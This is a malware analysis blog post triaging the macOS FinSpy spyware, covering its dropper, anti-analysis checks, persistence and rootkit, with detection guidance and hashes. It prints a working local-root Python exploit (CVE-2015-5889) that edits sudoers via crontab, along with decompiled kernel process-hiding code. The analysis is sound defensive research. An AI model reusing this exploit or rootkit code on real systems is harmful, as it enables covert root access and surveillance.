I’ve added the samples (OSX.FinSpy) to our malware collection (password: infect3d)
…please don’t infect yourself!
Recently, Claudio Guarnieri highlighted some intriguing new research published by his research lab at Amnesty International:
Sometimes threat intel is hard, sometimes folks leave all FinFisher samples exposed on a webserver. So here ya go, along with recent Windows and Android, we're publishing details on new FinFisher for Mac OS 🍎 and Linux 🐧.https://t.co/eakdBWcYbF
— nex (@botherder@mastodon.social) (@botherder) September 25, 2020
Titled, “German-made FinSpy spyware found in Egypt, and Mac and Linux versions revealed,” this writeup detailed FinFisher’s spyware suite (FinSpy), including “previously undisclosed versions for Linux and MacOS computers”!
As noted in their report:
"FinSpy is a commercial spyware suite produced by the Munich-based company FinFisher Gmbh. Since 2011 researchers have documented numerous cases of targeting of Human Rights Defenders (HRDs) - including activists, journalists, and dissidents with the use of FinSpy in many countries, including Bahrain, Ethiopia, UAE, and more."
Amnesty’s writeup is great place to start, and provides a lot of great detail and insights about FinSpy …including the newly uncovered macOS variant.
As such, it is a must read:
Update
Other security researchers have also now published their research:
In this blog post, we provide a hands-on triage of the macOS variant of FinSpy. We build upon Amnesty International’s (great) research, as well as cover new components of the malware, such as it’s kernelmode rootkit component.
Amnesty’s writeup notes the discovery of a related sample caglayan-macos.dmg
(SHA1: 59180391de409c83bef642ad1bca2999ab5fe328
) that was “found on Virus Total”. Our triage will focus on this sample, as within the disk image (.dmg
) is an application bundle, which appears be a full, self-contained instance of FinSpy.
To start, we mount the disk image via the hdiutil
command:
$ hdiutil attach ~/Downloads/FinFisher/caglayan-macos.dmg /dev/disk2 GUID_partition_scheme /dev/disk2s1 Apple_HFS /Volumes/caglayan-macos
If we examine the (now) mounted disk image (/Volumes/caglayan-macos
), we see it contains a single item: an application bundle named Install Çağlayan
:
Rather unsurprisingly, WhatsYourSign shows that this application is unsigned:
We can also confirm the application is unsigned via macOS’s built-in codesign
utility:
$ codesign -dvvv /Volumes/caglayan-macos/Install\ Çağlayan.app /Volumes/caglayan-macos/Install Çağlayan.app: code object is not signed at all
Let’s take a peek at the Install Çağlayan.app
bundle.
…definitely some “strangeness” going on 🤨:
When analyzing a (malicious) application bundle, the application’s Info.plist
file is a good place to start. To quote the “Art Of Mac Malware”:
“When an application is launched, the system consults the
Info.plist
property list file, as it contains essential (meta)data about the application. Property list files contain key-value pairs.Pairs that may be of interest when analyzing an application include:
CFBundleExecutable
Contains the name of the application’s binary (found inContents/MacOS
).
CFBundleIdentifier
Contains the application’s bundle identifier (often used by the system to globally identify the application).
LSMinimumSystemVersion
Contains the oldest version of macOS that the application is compatible with.”
Here’s the Install Çağlayan
application’s Info.plist
:
$ cat "/Volumes/caglayan-macos/Install Çağlayan.app/Contents/Info.plist" <?xml version="1.0" encoding="UTF-8" standalone="no"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>BuildMachineOSBuild</key> <string>12F45</string> <key>CFBundleAllowMixedLocalizations</key> <true/> <key>CFBundleDevelopmentRegion</key> <string>English</string> <key>CFBundleExecutable</key> <string>Install Çağlayan</string> <key>CFBundleIconFile</key> <string>NativeInstaller.icns</string> <key>CFBundleIdentifier</key> <string>com.coverpage.bluedome.caglayan.desktop.installer</string> <key>CFBundleInfoDictionaryVersion</key> <string>6.0</string> <key>CFBundlePackageType</key> <string>APPL</string> <key>CFBundleShortVersionString</key> <string>2.0</string> <key>DTCompiler</key> <string>com.apple.compilers.llvm.clang.1_0</string> <key>DTPlatformBuild</key> <string>4H1503</string> <key>DTPlatformVersion</key> <string>GM</string> <key>DTSDKBuild</key> <string>10K549</string> <key>DTSDKName</key> <string>macosx10.6</string> <key>DTXcode</key> <string>0463</string> <key>DTXcodeBuild</key> <string>4H1503</string> <key>LSMinimumSystemVersion</key> <string>10.6</string> <key>NSHumanReadableCopyright</key> <string/> <key>NSMainNibFile</key> <string>MainMenu</string> <key>NSPrincipalClass</key> <string>NSApplication</string> </dict> </plist>
The value for the CFBundleExecutable
key is Install Çağlayan
. Meaning the item Install Çağlayan.app/Contents/MacOS/Install Çağlayan
will be executed when the application is launched (by a victim). As such, we’ll continue our analysis there.
Various key-value pairs provide insight into the ‘age’ of the malware, and malware author’s (build) machine.
…yes, rather old!
Somewhat interestingly, the Install Çağlayan.app/Contents/MacOS/Install Çağlayan
file turns out to be a bash script.
$ file "Install Çağlayan.app/Contents/MacOS/Install Çağlayan" Install Çağlayan.app/Contents/MacOS/Install Çağlayan: Bourne-Again shell script text executable, UTF-8 Unicode text
Let’s take a look at this script:
1#!/bin/bash
2BASEDIR="$( cd "$(dirname "$0")" && pwd)"
3cd "$BASEDIR"
4open .log/ARA0848.app
5sleep 2
6rm Install\ Çağlayan
7mv installer Install\ Çağlayan
8rm -rf .log
9./Install\ Çağlayan
10exit
After changing in to the script’s directory (cd
), it executes an application (ARA0848.app
) from a hidden .log/
directory. It then replaces itself (Install Çağlayan
) with a item named installer
. This item (installer
→ Install Çağlayan
) is then executed.
This can be observed via our Process Monitor:
# ProcessMonitor.app/Contents/MacOS/ProcessMonitor -pretty { "event" : "ES_EVENT_TYPE_NOTIFY_EXEC", "process" : { "arguments" : [ "/bin/bash", "/Volumes/caglayan-macos/Install Çağlayan.app/Contents/MacOS/Install Çağlayan" ], "path" : "/bin/bash" ... } }, { "event" : "ES_EVENT_TYPE_NOTIFY_EXEC", "process" : { "arguments" : [ "open", ".log/ARA0848.app" ], "path" : "/usr/bin/open" ... } }, { "event" : "ES_EVENT_TYPE_NOTIFY_EXEC", "process" : { "arguments" : [ "/Volumes/caglayan-macos/Install Çağlayan.app/Contents/MacOS/ .log/ARA0848.app/Contents/MacOS/installer" ], "path" : "/Volumes/caglayan-macos/Install Çağlayan.app/Contents/MacOS/ .log/ARA0848.app/Contents/MacOS/installer" ... } }, { "event" : "ES_EVENT_TYPE_NOTIFY_EXEC", "process" : { "arguments" : [ "mv", "installer", "Install Çağlayan" ], "path" : "/bin/mv" ... } }, { "event" : "ES_EVENT_TYPE_NOTIFY_EXEC", "process" : { "arguments" : [ "./Install Çağlayan" ], "path" : "/Volumes/caglayan-macos/Install Çağlayan.app/ Contents/MacOS/Install Çağlayan" ... } }
The installer
file is a Mach-O binary, signed with an Apple Developer ID (CoverPage s.r.o. (4F89KD52V4)
):
$ file "Install Çağlayan.app/Contents/MacOS/installer" Install Çağlayan.app/Contents/MacOS/installer: Mach-O 64-bit executable x86_64 $ codesign -dvvv "Install Çağlayan.app/Contents/MacOS/installer" Executable=/Volumes/caglayan-macos/Install Çağlayan.app/Contents/MacOS/installer Identifier=com.coverpage.bluedome.caglayan.desktop.installer Format=Mach-O thin (x86_64) ... Authority=Developer ID Application: CoverPage s.r.o. (4F89KD52V4) Authority=Developer ID Certification Authority Authority=Apple Root CA Timestamp=May 30, 2017 at 11:55:46 PM
…a brief triage indicates this binary is not malicious (perhaps it is a legitimate downloader?). This makes sense, as a victim launching the (malicious) application, expects something (non-malicious) to visually happen …otherwise they may become suspicious!
In this case, (once installer
has been renamed to Install Çağlayan
…and launched), it attempts to install a legitimate version or Adobe Air …likely needed for the legitimate Çağlayan
application to run:
Since this appears benign, lets turn our attention to .log/ARA0848.app
…which turns out to be the backdoor installer/launcher.
ARA0848.app
is another unsigned application (recall, that was launched via the Install Çağlayan
bash script):
When executed, it will launch its application binary ARA0848.app/Contents/MacOS/installer
. This (Mach-O) binary is also unsigned:
$ file "Install Çağlayan.app/Contents/MacOS/.log/ARA0848.app/Contents/MacOS/installer" Install Çağlayan.app/Contents/MacOS/.log/ARA0848.app/Contents/MacOS/installer: Mach-O 64-bit executable x86_64 $ codesign -dvvv "Install Çağlayan.app/Contents/MacOS/.log/ARA0848.app/Contents/MacOS/installer" /Volumes/caglayan-macos/Install Çağlayan.app/Contents/MacOS/.log/ARA0848.app/Contents/MacOS/installer: code object is not signed at all $ shasum "Install Çağlayan.app/Contents/MacOS/.log/ARA0848.app/Contents/MacOS/installer" 2584f1119c65ffd0936e2916b285389404b942c9 /Volumes/caglayan-macos/Install Çağlayan.app/Contents/MacOS/.log/ARA0848.app/Contents/MacOS/installer
…and its detection, is currently rather limited:
Amnesty’s writeup provided a thorough overview of the actions/capabilities of this binary. As such, much of the information in this section was originally reported in their writeup.
…although here, we dig a little deeper, and build upon it.
When examining an unknown Mach-O binary, I like to start with the strings
command, which (as its name implies) will dump embedded (ASCII) strings. Often this provides valuable insight into the capabilities of the binary!
$ strings - ARA0848.app/Contents/MacOS/installer ptrace hw.model vmware virtualbox parallels system_profiler SPUSBDataType | egrep -i "Manufacturer: (parallels|vmware|virtualbox)" /usr/bin/python helper2 system.privilege.admin /bin/launchctl load unload /sbin/kextunload helper installer logind /tmp 80.bundle.zip arch.zip org.logind.ctp.archive 80.bundle logind.kext logind.plist /Library/LaunchAgents
Interesting! Appears we have strings related to:
anti-debugging? ("ptrace"
)
virtual machine detection? ("Manufacturer: (parallels|vmware|virtualbox)"
)
python scripts? ("/usr/bin/python"
, "helper2"
)
launch agent persistence? ("/bin/launchctl"
, "/Library/LaunchAgents"
, "logind.plist"
)
kernel extension (rootkit)? ("logind.kext"
)
As the binary is written in Objective-C, we can use the class-dump tool to extract embedded (Objective-C) classes:
$ class-dump "ARA0848.app/Contents/MacOS/installer" __attribute__((visibility("hidden"))) @interface appAppDelegate : NSObject{ } - (BOOL)askUserPermission:(id)arg1; - (BOOL)isAfterPatch; - (void)removeTraces; - (void)launchOldStyle; - (BOOL)launchNewStyle; - (BOOL)installPayload; - (void)executeTrampoline; - (void)expandPayload; - (void)removeOldResource; - (void)applicationDidFinishLaunching:(id)arg1; @end __attribute__((visibility("hidden"))) @interface GIFileOps : NSObject { } + (void)unloadKext; + (BOOL)unloadAgent:(id)arg1; + (BOOL)loadAgent:(id)arg1; + (BOOL)setFile:(id)arg1 withAttributes:(id)arg2; + (BOOL)setDataFileAttributes:(id)arg1; + (BOOL)setExecutableFileAttributes:(id)arg1; + (BOOL)setDirectoryAttributes:(id)arg1; + (id)baseAttributes; + (BOOL)setStandardAttributes:(id)arg1; + (BOOL)setSuid:(id)arg1; + (BOOL)rename:(id)arg1 to:(id)arg2; + (BOOL)remove:(id)arg1; + (BOOL)move:(id)arg1 to:(id)arg2; + (BOOL)createDirectory:(id)arg1 shouldDelete:(BOOL)arg2; + (BOOL)copy:(id)arg1 to:(id)arg2; + (BOOL)unzip:(id)arg1 to:(id)arg2; @end __attribute__((visibility("hidden"))) @interface GIPath : NSObject { } + (id)masterKeyDirSource; + (id)masterKeyDirTarget; + (id)supervisorTarget; + (id)supervisorSource; + (id)supervisorName; + (id)agentTarget; + (id)agentSource; + (id)agentName; + (id)coreTarget; + (id)coreSource; + (id)coreName; + (id)kextTarget; + (id)kextSource; + (id)kextName; + (id)expandedMainBundle; + (id)expandedPayload; + (id)compressedPayload; + (id)updatePackage; + (id)payload; + (id)installer; + (id)trampoline; + (id)systemTemp; + (id)installationMap; + (id)executables; @end ...
Although there aren’t a ton of classes, we definitely have extracted some interesting method names ("installPayload"
, "loadAgent:"
, "kextTarget"
, etc), which we can analyze in a disassembler, or set breakpoints in a debugger.
Speaking of, time to disassemble and debug!
The malware’s main
method begins at 0x000000010000174f
. Scrolling thru the disassembly, it appears that the malware employs some static obfuscation:
In their writeup, the Amnesty researchers shed more light on this:
"the [malware] developers took measures to complicate its analysis. All the binaries are obfuscated with the open source LLVM-obfuscator developed by a research team in 2013."
Good news, this obfuscation doesn’t really hinder analysis. One can simply scroll past it in a disassembler, or in a debugger set breakpoints on relevant (non-obfuscated) code.
At the start of the malware’s main
function, it executes various anti-analysis logic including:
invoking a function named deny_ptrace
to prevent debugging via ptrace (PT_DENY_ATTACH
).
a call to _sysctl
perhaps to check for the P_TRACED
flag.
virtual machine detection via the enumeration of the system model
named, via sysctlbyname("hw.model" ...)
and via system_profiler SPUSBDataType | egrep -i \"Manufacturer: (parallels|vmware|virtualbox)
.
Once identified, this anti-analysis logic is trivial to bypass in a debugger. How? Simply set a breakpoint(s), then modify the instruction pointer (RIP
) to skip over them:
In the writeup, the Amnesty researchers note that the malware will decrypt an encrypted archive:
"...it then decrypts ...a Zip archive. This archive contains the installer, the main cyload, but also binaries for privilege escalation"
…oh, we definitely want all that!
At address 0x100003106
(within a method named expandPayload
), the malware invokes a method from the GIFileOps
named unzip:to:
. Let’s set a debugger breakpoint there:
(lldb) b 0x0000000100003106 Breakpoint 5: address = 0x0000000100003106
When this breakpoint is hit, we can examine the arguments:
(lldb) Process 1486 stopped * thread #1, queue = 'com.apple.main-thread' stop reason = breakpoint 5.1: -> 0x100003106 <+1501>: callq *%r12 0x100003109 <+1504>: movq %r13, %rdi 0x10000310c <+1507>: callq *0x2cf7e(%rip) 0x100003112 <+1513>: movq %r15, %rdi (lldb) x/s $rsi 0x10002bc9c: "unzip:to:" (lldb) po $rdx /Users/user/Library/Caches/arch.zip (lldb) po $rcx /Users/user/Library/Caches
Looks like it will unzip a file named arch.zip
into the user’s /Library/Caches
directory.
If we then step over this method call (via the si
debugger command), our File Monitor picks up the file events related to the extraction of the (arch.zip
) archive:
# FileMonitor.app/Contents/MacOS/FileMonitor -pretty -filter installer Password: { "event" : "ES_EVENT_TYPE_NOTIFY_OPEN", "file" : { "destination" : "/Users/user/Library/Caches/arch.zip", "process" : { "path" : "/Volumes/caglayan-macos/Install Çağlayan.app/ Contents/MacOS/.log/ARA0848.app/Contents/MacOS/installer", ... }, { "event" : "ES_EVENT_TYPE_NOTIFY_CREATE", "file" : { "destination" : "/Users/user/Library/Caches/org.logind.ctp.archive", "process" : { "path" : "/Volumes/caglayan-macos/Install Çağlayan.app/ Contents/MacOS/.log/ARA0848.app/Contents/MacOS/installer", ... } ...
Hooray, the malware has (kindly) decrypted and unzipped the archive to ~/Library/Caches/org.logind.ctp.archive
.
…and it is full of goodies:
The file
command can identify each item’s file type:
$ file * helper: Mach-O 64-bit executable x86_64 helper2: Python script text executable, ASCII text helper3: Mach-O executable i386 installer: Mach-O 64-bit executable x86_64 logind: Mach-O 64-bit executable x86_64 logind.kext: directory logind.plist: XML 1.0 document text, ASCII text storage.framework: directory
Several of these are described in the Amnesty writeup, however, others were not.
helper
(sha1: 72cb14bc737a9d77c040affa60521686ffa80b84
):
A Mach-O binary that exploits a local privilege escalation vulnerability (in macOS < 10.9/10
).
Exploit PoC code: https://www.exploit-db.com/exploits/36739.
helper2
(sha1: 9a0ede8fad59e7252502881554be0c21972238c9
):
A python script that exploits CVE-2015-5889
1# CVE-2015-5889: issetugid() + rsh + libmalloc osx local root
2# tested on osx 10.9.5 / 10.10.5
3# jul/2015
4# by rebel
5
6import os,time,sys
7
8from sys import argv
9script, param = argv
10
11env = {}
12
13s = os.stat("/etc/sudoers").st_size
14
15env['MallocLogFile'] = '/etc/crontab'
16env['MallocStackLogging'] = 'yes'
17env['MallocStackLoggingDirectory'] = 'a\n* * * * * root echo "ALL ALL=(ALL) NOPASSWD:
18 ALL" >> /etc/sudoers\n\n\n\n\n'
19
20#sys.stderr.write("creating /etc/crontab..")
21
22p = os.fork()
23if p == 0:
24 os.close(1)
25 os.close(2)
26 os.execve("/usr/bin/rsh",["rsh","localhost"],env)
27
28time.sleep(1)
29
30if "NOPASSWD" not in open("/etc/crontab").read():
31 sys.stderr.write("failed\n")
32 sys.exit(-1)
33
34#sys.stderr.write("done\nwaiting for /etc/sudoers to change (<60 seconds)..")
35
36while os.stat("/etc/sudoers").st_size == s:
37# sys.stderr.write(".")
38 time.sleep(1)
39
40#sys.stderr.write("\ndone\n")
41
42my_command = "sudo chmod 06777 %s & sudo chown root:wheel %s" % (param, param)
43os.system(my_command)
helper3
(sha1: 427a1c1daf9030069f0c771ce172c104513a7722
):
A Mach-O binary that exploits the tpwn
local privilege escalation vulnerability (in macOS < 10.10.5
).
$ strings -a helper3 /mach_kernel /System/Library/Kernels/kernel /System/Library/Extensions/IOAudioFamily.kext/Contents/MacOS/IOAudioFamily posix_cred_get _IORecursiveLockUnlock __ZN10IOWorkLoop8openGateEv __ZN13IOEventSource8openGateEv Escalating privileges! -qwertyoruiop
installer
(sha1: a65965b960b3d322bbae467f51bf215d574b00cc
):
The malware installer (details below).
logind
(sha1: 62e5dc40bfabaa712cd9e32ac755384db07f0dab
):
The malware’s (persistent) launcher (details below).
logind.kext
(sha1: 18e1d03e41b5fc6d54fdda340fe2dab219502f3d
):
The malware’s rootkit (details below).
logind.plist
(sha1: a2aba86d5d763f311dff8250bc8fe98de958bff4
):
The malware’s launch agent property list (for persistence):
$ cat org.logind.ctp.archive/logind.plist <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>Label</key> <string>org.logind</string> <key>ProgramArguments</key> <array> <string>/private/etc/logind</string> </array> <key>RunAtLoad</key> <true/> <key>KeepAlive</key> <dict> <key>SuccessfulExit</key> <false/> </dict> </dict> </plist>
Let’s take a closer look at several of these.
First, the malware performs various actions requiring root privileges …which is where the local privilege escalation vulnerabilities (helper*
) come into play. If the exploits fail (which they will on any recent version of macOS), the malware falls back to a less sophisticated approach:
"This first stage uses the exploits to get root access. If none of them work, it will ask the user to grant root permissions to launch the next stage installer." -Amnesty International
And what does it do with these root privileges?
Sets the “next stage” to be owned by root (via chown root:wheel
) with the setuid bit set (via chmod 06777
):
$ ls -lart /Users/user/Library/Caches/org.logind.ctp.archive/installer -rwsrwsrwx 1 root wheel 63396 Feb 16 2018 /Users/user/Library/Caches/org.logind.ctp.archive/installer
As noted in Pedro’s (@osxreverser) writeup, “The Finfisher Tales, Chapter 1: The dropper” this (next stage) installer is then launched via method named installPayload
:
1// @class appAppDelegate
2-(char)installPayload {
3 ...
4 r14 = [[NSTask alloc] init];
5 rbx = [[GIPath installer] retain];
6 [r14 setLaunchPath:rbx];
7
8 [r14 launch];
9 [r14 waitUntilExit];
10 ...
11}
This method simply invokes the NSTask
API to launch the (next-stage) installer. In a debugger session, we can observe the (launch) path to the “next stage” installer is /Users/user/Library/Caches/org.logind.ctp.archive/installer
:
% lldb .log/ARA0848.app/Contents/MacOS/installer ... * thread #1, queue = 'com.apple.main-thread' -[appAppDelegate installPayload] + 0x100 -> 0x1000035e5 <+100>: callq *0x2ca9d(%rip) 0x1000035eb <+106>: movq %rbx, %rdi 0x1000035ee <+109>: callq *0x2ca9c(%rip) 0x1000035f4 <+115>: movq 0x2def5(%rip), %rsi Target 0: (installer) stopped. (lldb) po $rdi <NSConcreteTask: 0x10024ff30> (lldb) x/s $rsi 0x7fff720e9b0e: "setLaunchPath:" (lldb) po $rdx /Users/user/Library/Caches/org.logind.ctp.archive/installer
This launching of this installer, can also be passively observed via our Process Monitor:
# ProcessMonitor.app/Contents/MacOS/ProcessMonitor -pretty { "event" : "ES_EVENT_TYPE_NOTIFY_EXEC", "process" : { "path" : "/Users/user/Library/Caches/org.logind.ctp.archive/installer", "pid" : 1610 "ppid" : 1486, } }
…noting that the parent of the org.logind.ctp.archive/installer
process ("ppid":1486
), is indeed .log/ARA0848.app/Contents/MacOS/installer
:
Due its owner (root) and the setuid
bit, this “next stage” installer will run with root privileges.
org.logind.ctp.archive/installer
)As noted in the Amnesty writeup, this installer performs three actions:
/Library/Frameworks/Storage.framework
.logind
) to /private/etc/logind
./System/Library/LaunchAgents/logind.pslist
.Let’s take a closer look at it now, to highlight the code responsible for these actions.
The org.logind.ctp.archive/installer
is a Mach-O binary, rather similar (albeit simpler) than its parent (.log/ARA0848.app/Contents/MacOS/installer
).
For example, both contain a custom GIFileOps
class that implements various file related methods (copy: to:
, loadAgent
, etc.).
Moreover, we find the llvm
-level obfuscations again:
This (next stage) installer’s main method starts at 0x000000010a3d95ac
. The logic the the main
function first checks for the presence of various files (plugins?), such as /Library/Frameworks/Storage.framework
, /Contents/Resources/7f.bundle/Contents/Resources/AAC.dat
. It then builds a dictionary of key-value pairs via a call to [GIPath installationMap]
:
$ lldb org.logind.ctp.archive/installer ... * thread #1, queue = 'com.apple.main-thread' installer`main: -> 0x10a3da37e <+3538>: callq *0x6d04(%rip) ;objc_msgSend (lldb) x/s $rsi 0x10a3df5c7: "installationMap" (lldb) ni (lldb) po $rax { "/Users/user/Library/Caches/org.logind.ctp.archive/Storage.framework" → "/Library/Frameworks/Storage.framework"; "/Users/user/Library/Caches/org.logind.ctp.archive/logind" → "/private/etc/logind"; "/Users/user/Library/Caches/org.logind.ctp.archive/logind.kext" → "/System/Library/Extensions/logind.kext"; "/Users/user/Library/Caches/org.logind.ctp.archive/logind.plist" → "/Library/LaunchAgents/logind.plist"; }
As we can see in the debugger output, this maps files from the decrypted uncompressed archive (org.logind.ctp.archive
) to their final destinations.
The installer then iterates over each of these files, and via a block (at 0x000000010a3da4d2
) moves them from the archive to their (final) destinations:
1files = [GIPath installationMap];
2[files enumerateKeysAndObjectsUsingBlock:(void (^)(KeyType src, ObjectType dest, BOOL *stop))
3{
4
5 [GIFileOps move:src to:dest];
6 [GIFileOps setStandardAttributes:dest];
7
8}];
We can passively observe this via our File Monitor:
# FileMonitor.app/Contents/MacOS/FileMonitor -pretty -filter installer { "event" : "ES_EVENT_TYPE_NOTIFY_RENAME", "file" : { "destination" : "/Library/LaunchAgents/logind.plist", "source" : "/Users/user/Library/Caches/org.logind.ctp.archive/logind.plist" } } { "event" : "ES_EVENT_TYPE_NOTIFY_RENAME", "file" : { "destination" : "/private/etc/logind", "source" : "/Users/user/Library/Caches/org.logind.ctp.archive/logind" } } { "event" : "ES_EVENT_TYPE_NOTIFY_RENAME", "file" : { "destination" : "/System/Library/Extensions/logind.kext", "source" : "/Users/user/Library/Caches/org.logind.ctp.archive/logind.kext" } } { "event" : "ES_EVENT_TYPE_NOTIFY_RENAME", "file" : { "destination" : "/Library/Frameworks/Storage.framework", "source" : "/Users/user/Library/Caches/org.logind.ctp.archive/storage.framework" } }
Of course (and stop me if you’ve heard this before), the creation of a persistence launch agent (/Library/LaunchAgents/logind.plist
) is detected by BlockBlock:
And speaking of the logind.plist
let’s take a look at it:
$ cat /Library/LaunchAgents/logind.plist <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>Label</key> <string>org.logind</string> <key>ProgramArguments</key> <array> <string>/private/etc/logind</string> </array> <key>RunAtLoad</key> <true/> <key>KeepAlive</key> <dict> <key>SuccessfulExit</key> <false/> </dict> </dict> </plist>
As the RunAtLoad
key is set to true
, the binary, /private/etc/logind
will be automatically (re)executed each time the system is rebooted an the user logs in.
Once the installer has, well, installed (and setuid’d) these various components, it kicks off this persistent launch agent via a call to [GIFileOps loadAgent:]
This method simply invokes launchctl
with the load
command line argument, and path to the logind.plist
to:
1+(char)loadAgent:(char *)plist {
2
3 task = [[NSTask alloc] init];
4 [task setLaunchPath:@"/bin/launchctl"];
5 args = [NSArray arrayWithObjects:@"load", plist, 0x0];
6 [r15 setArguments:args];
7
8 [task launch];
9 [task waitUntilExit];
10 ...
11}
The persistent implant (/private/etc/logind
), is now off and running!
logind.kext
)One of the (potentially) more interesting aspects of this malware is its kernel-mode rootkit functionality. Simply put, (public) macOS malware with ring-0 capabilities is rare!
The file logind.kext
is kernel extension …albeit unsigned:
$ codesign -dvv org.logind.ctp.archive/logind.kext/Contents/MacOS/logind logind.kext/Contents/MacOS/logind: code object is not signed at all
As the kernel extension is unsigned, it won’t run on any recent version of macOS (which enforce kext code signing requirements).
It terms of it’s functionality, it appears to be a simple process hider.
In a function named ph_init
, the kernel extension looks up a bunch of kernel symbols (via a function named ksym_resolve_symbol_by_crc32
):
1void ph_init() {
2
3 rax = ksym_resolve_symbol_by_crc32(0x127a88e8, rsi, rdx, rcx);
4 *_ALLPROC_ADDRESS = rax;
5
6 ...
7
8 rax = ksym_resolve_symbol_by_crc32(0xfffffffffef1d247, rsi, rdx, rcx);
9 *_LCK_LCK = rax;
10 if (rax != 0x0)
11 *_LCK_LCK = *rax;
12
13 ...
14
15 rax = ksym_resolve_symbol_by_crc32(0x392ec7ae, rsi, rdx, rcx);
16 *_LCK_MTX_LOCK = rax;
17 if (rax != 0x0)
18 *_LCK_MTX_UNLOCK = ksym_resolve_symbol_by_crc32(0x2472817c, rsi, rdx, rcx);
19
20
21 return;
22}
Based on variable names, it appears that logind.kext
is attempting to resolve the pointer of the kernel’s global list of proc
(process) structures, as well as various locks.
In a function named ph_hide
the kext will hide a process. This is done by walking the list of proc
structures (pointed to by _ALLPROC_ADDRESS
), and looking for the one that matches (to hide):
1void _ph_hide(int arg0) {
2
3 r14 = arg0;
4 if (r14 == 0x0) return;
5
6 r15 = *_ALLPROC_ADDRESS;
7 if (r15 == 0x0) goto return;
8
9SEARCH:
10
11 rax = proc_pid(r15);
12 rbx = *r15;
13 if (rax == r14) goto HIDE;
14
15loc_15da:
16 r15 = rbx;
17 if (rbx != 0x0) goto SEARCH;
18
19 return;
20
21HIDE:
22 r14 = *(r15 + 0x8);
23 (*_LCK_MTX_LOCK)(*_LCK_LCK);
24 *r14 = rbx;
25 *(rbx + 0x8) = r14;
26 (*_LCK_MTX_UNLOCK)(*_LCK_LCK);
27 return;
28}
In the above code, note that HIDE
contains the logic to remove the target process of interest, by unlinking it from the (process) list. Once removed, the process is now (relatively) “hidden”. (Of course one can leverage XNU level APIs to uncover such process hiding).
The malicious kext also appears to be able to communicate with user-mode via the file /tmp/launchd-935.U3xqZw
. Specifically, in a function named ksym_init
, it will open and read in the contents of this file (which may contain details of the process to hide?):
1void ksym_init(int arg0, int arg1) {
2 *(int32_t *)_MKI_SIZE = fileio_get_file_size("/tmp/launchd-935.U3xqZw", arg1);
3 rax = _OSMalloc_Tagalloc("MKI", 0x0);
4 *_MKI_TAG = rax;
5 if (rax == 0x0) goto .l1;
6
7loc_1898:
8 rax = _OSMalloc(*(int32_t *)_MKI_SIZE, rax);
9 *_MKI_BUFFER = rax;
10 if (rax == 0x0) goto loc_1921;
11
12loc_18b2:
13 if (fileio_read_file_fully("/tmp/launchd-935.U3xqZw", rax) == 0x0) goto loc_1908;
14
15 ....
16}
For more on the topic of Mac rootkits, see:
Ok, and what about the malware’s C&C comms? capabilities? and more? Well good news, that’s already been covered in Amesty’s writeup.
In terms of C&C communications, the researchers note:
"The spyware communicates with the Command & Control (C&C) server using HTTP POST requests. The data sent to the server is encrypted using functions provided by the 7F module, compressed using a custom compressor and base64 encoded"
Moreover, they uncovered a large list of modules available to the spyware:
We noted our free tools can easily detect FinSpy …as always, with no a priori knowledge.
Specifically, BlockBlock can detect the malware at runtime, persisting as a launch agent:
And if the malware is already present on the system, a KnockKnock scan can reveal this launch agent as well:
By design, KnockKnock simply enumerates persistent items installed on macOS system. However, the logind item sticks out as it is:
…though this does not guarantee such an item is malicious, these observations (in conjunction) are serious red flags, and as such, the item should be closely examined.
To manually detect (this) variant of of OSX.FinSpy, one could also manually check for the existence of:
/private/etc/logind
sha1: 62e5dc40bfabaa712cd9e32ac755384db07f0dab
/Library/LaunchAgents/logind.plist
sha1: a2aba86d5d763f311dff8250bc8fe98de958bff4
logind.kext
(likely in /Library/Extensions/
)
sha1: 18e1d03e41b5fc6d54fdda340fe2dab219502f3d
Today, we triaged FinFisher’s macOS implant, FinSpy.
Although rather somewhat dated, it provided an intriguing look into the world of commercial cyber-espionage malware. And yes, the exploits it leveraged were all public (and long patched) and its rootkit capabilities were rather mundane …but let’s not forget that a more modern version of this threat (or similar commercial implant) could be far more sophisticated!